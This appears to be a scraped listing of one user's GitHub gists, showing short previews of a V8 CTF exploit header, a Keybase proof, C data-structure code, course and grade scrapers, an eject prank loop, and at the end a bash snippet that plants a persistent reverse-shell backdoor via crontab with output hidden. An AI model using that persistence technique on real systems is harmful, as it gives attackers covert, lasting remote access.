hoefler02

/*
 * V8 Exploitation
 * Michael Hoefler
 * Hitcon CTF 2022 - Hole
*/

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);

hoefler02

Keybase proof

I hereby claim:

• I am hoefler02 on github.
• I am hoefler02 (https://keybase.io/hoefler02) on keybase.
• I have a public key ASCWJupqufchMtBRl0JTnb2GTvgfQdtzjqb3Nh5BPqi6MQo

To claim this, I am signing this object:

hoefler02

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

// November 7 2020
// More Data Structures
// Hash Table Implementation

#define TABLE_SIZE 1009

hoefler02

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

// November 7 2020
// Data Structure Fun
// Linked List Implementation

typedef struct node {
    int val;

hoefler02

#!/usr/bin/env python3

"""
This is a script to query the WVU course listing, checking for seat openings.
CRN refers to "course reference number", which is found by visiting 
courses.wvu.edu. Term is passed as a string (eg. "Fall 2020"), and is converted
to a numeric code which is used to query for the desired course. Enjoy!
"""

from config import account_sid, auth_token, send_number, recieve_number, crn, term

hoefler02

# Scrapes MCS staff data from public directory
# Used for MHS-Protect app project

import requests, time, json
from bs4 import BeautifulSoup

people = []

file = open('people.json', 'w')

hoefler02

# Schoology Web Scraper
# Pulls grades from https://schoology.com

from bs4 import BeautifulSoup
import requests

response = requests.get('https://schoology.com/grades/grades', headers={'cookie': 'your_cookie_goes_here'})
soup = BeautifulSoup(response.content, 'html.parser')

grades = []

hoefler02

#!/bin/bash

while true
do
	eject
	sleep 300
done

# use at your own risk :)

hoefler02

#!/bin/bash

# persistent reverse shell backdoor via crontab

# overwrites existing crontabs
(touch .tab ; echo "* * * * * reverse-shell-of-choice" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1

# keeps existing crontabs
(crontab -l > .tab ; echo "* * * * * reverse-shell-of-choice" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1